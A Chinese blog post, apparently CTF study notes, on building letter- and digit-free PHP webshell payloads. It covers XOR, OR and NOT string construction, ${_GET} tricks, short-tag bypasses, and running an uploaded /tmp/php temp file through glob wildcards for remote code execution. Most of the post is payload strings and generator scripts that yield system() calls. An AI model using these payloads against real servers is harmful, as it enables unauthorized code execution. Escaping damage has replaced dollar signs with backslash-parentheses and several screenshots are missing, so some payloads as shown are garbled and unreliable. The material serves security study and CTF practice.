无字母webshell-plus

# Pation
- 短标签不需要分号闭合?code=?><?=phpinfo()?><?=system("dir")?>
- eval执行代码相当于另外生成一个php文件,文件格式为有<?php ..... ?>所以可以通过短标签摆脱;的限制
- 异或和或运算时要将两个部分的参数用引号包起来?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
- \({...}{0}里面的运算会执行且当运算结果为_GET时效果和\)_GET无异
- linux的.表示当前的shell(如/bin/bash)
- 可以通过 ls /fl????? 匹配文件
# 方法一:异或运算^
# 方法一:或运算|
方法一+方法二获取脚本:
python<br />import string,urllib.parse<br />print(string.printable)<br />def get_chr(c,jud):<br /> for i in range(0xFF):<br /> for j in range(128):<br /> if (jud == "|"):<br /> if (chr(i | j) == c):<br /> if (chr(i)not in disable) and (chr(j)not in disable):<br /> return i,j<br /> elif jud == "^":<br /> if (chr(i ^ j) == c):<br /> if (chr(i)not in disable) and (chr(j)not in disable):<br /> return i,j<br /><br />#根据过滤加入被过滤的字符<br />disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"<br />print("disable_chars => ",disable)<br />jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n->\t")<br />while 1:<br /> c1 = ""<br /> c2 = ""<br /> inp = input("input Your string:\n->\t")<br /> for i in inp:<br /> a,b = get_chr(i,jud)<br /> a1 = str(hex(a)).replace("0x","")<br /> b1 = str(hex(b)).replace("0x","")<br /> if int(a)<16: c1 += "%0"+a1<br /> else: c1 += "%"+a1<br /> if int(b)<16: c2 += "%0"+b1<br /> else: c2 += "%"+ b1<br /><br /> print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")<br /> # ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");<br /> # => ?code=("system")("dir");<br /><br />
# 方法三 : 取反运算~
php<br /><?php<br />$code="phpinfo";<br />echo "\n$code\t(~".urlencode(~$code).")";<br /><br />
# php5与php7的区别:
**php5不支持(\(a)()这种方法动态解析调用函数;**<br /><br />在 PHP 5 中 assert() 是一个函数,我们可以通过`\)f='assert';\(f(...);`这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便**和 eval() 一样不能再作为函数名动态执行代码**,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。<br /><br />------<br /><br />异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):<br /><br />### 方法一 : 通过(...)执行运算<br /><br />?code=(~%8F%97%8F%96%91%99%90)();<br /><br />### 方法二 : 通过\[...][0]执行运算<br /><br />\[]会执行里面的函数,然后得到的结果为一个数组,\[][0]获得第一个成员变量(%ff取反得到的是false)<br />方法二payload生成脚本:<br />```php<br />exp = ""<br />def urlbm(s):<br /> ss = ""<br /> for each in s:<br /> ss += "%" + str(hex(255 - ord(each)))[2:]<br /> return f"[~{ss}][!%FF]("<br />while True:<br /> fun = input("Firebasky>: ").strip(")").split("(")<br /> exp = ''<br /> for each in fun[:-1]:<br /> exp += urlbm(each)<br /> print(exp)<br /> exp += ")" * (len(fun) - 1) + ";"<br /> print(exp)<br /><br />```<br /><br />```php<br />?code=[~%8F%97%8F%96%91%99%90][0]();<br />?code=[~%8F%97%8F%96%91%99%90][~%ff]();<br />?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();<br />?code=[phpinfo,0][~%ff]();<br />以上都可行,以下不执行<br />?code=[~%8F%97%8F%96%91%99%90,0][1]();<br />```<br /><br />所以可以通过\[~%8F%97%8F%96%91%99%90]\[!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数<br /><br />?code=\[~%8F%97%8F%96%91%99%90]\[!%FF]();<br /><br />### 方法三 : 通过\){...}{%ff}执行运算得到\({_GET}{%ff}<br /><br />**这个方法不会受到版本限制(php5或php7均可)**<br /><br />还可以通过?code=\){%ff%ff%ff%ff%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();
注:本地测试" var_dump(\({_GET}); "可以正常输出,但是" var_dump({\_GET}); "会报错<br /><br />```php<br />?code=\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code=\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
<br /><br />解释一下这个师傅的绕过手法:<br /><br />
\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo<br />即: <br />\){_GET}{%ff}();&%ff=phpinfo
//?shell=\({_GET}{%ff}();&%ff=phpinfo<br />```<br /><br />> 任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用`{}`代替,原因是 PHP 的 use of undefined constant 特性。例如`\){_GET}{a}这样的语句 PHP 是不会判为错误的,因为
{}是用来界定变量的,这句话就是会将
GET自动看为字符串,也就是
\(_GET['a']`。`\){GET}{%ff}后面那个
()为的是能够动态执行传入的 PHP 函数。<br /><br />```php<br />?code="phpinfo"();<br />?code=("phpinfo")();<br />?code=("php"."info")();<br />?code=($_GET[0])();&0=phpinfo<br />?code=[~%8F%97%8F%96%91%99%90][!%FF]();<br />?code=("%10%08%10%09%0E%06%0F"|"```````")();<br />?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();<br />?code=(~%8F%97%8F%96%91%99%90)();<br />以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以<br /><br />以下方法不受版本限制<br />?code=$_="dir"?><?=
\(_`;<br />?code=\)="phpinfo";\(_();<br />?code=\)GET0;&0=phpinfo
?code=\(_=(~%8F%97%8F%96%91%99%90);\)();
?code=\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
```
总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(...)(...)这种方式执行任意代码,但是php5就比较麻烦,如果\(和=可用还能则可以通过?code=\)=(~%8F%97%8F%96%91%99%90);\(\_();执行代码<br /><br />或者标准方法三也可以执行任意代码:?code=\){%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(\({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir<br /><br />#### 分号;被过滤?<br /><br />可以通过不断闭合再短标签执行多个函数 : ?code=?><?=phpinfo()?><?=system("dir")?><br /><br />但是如果在php5中\)被ban了的话只能通过如下拓展,
1: 利用?>闭合eval的<?标签再通过短标签<?=和``获得shell的方法
2: 配合通配符执行匹配文件 和 .使用当前shell执行文件
3: 配套上文件上传暂存文件名的规律构造匹配的通配符
最终实现通过当前shell(如/bin/bash)执行构造好的上传文件,最终达到RCE的效果
#拓展方法四#
拓展一些(来自p神的文章) : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
## PHP5+shell打破禁锢
因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$
的系统命令来getshell?
好像问题又回到了原点:无字母、数字、$
,在shell中仍然是一个难题。
此时我想到了两个有趣的Linux shell知识点:
1. shell下可以利用.
来执行任意脚本
2. Linux文件名支持用glob通配符代替
第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
- *
可以代替0个及以上任意字符
- ?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但我们尝试执行. /???/?????????
,却得到如下错误:

这是因为,能够匹配上/???/?????????
这个通配符的文件有很多,我们可以列出来:

可见,我们要执行的/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
## 深入理解glob通配符
大部分同学对于通配符,可能知道的都只有*
和?
。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:

排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:

就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:

那么,我们可以利用[@-[]
来表示大写字母:

显然这一招是管用的。
## 构造POC,执行任意命令
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为?><?=
. /???/????????[@-[];?>
,发送数据包如下:

成功执行任意命令。
posted @
2022-04-25 12:10
h0cksr
阅读(
253)
评论()
收藏
举报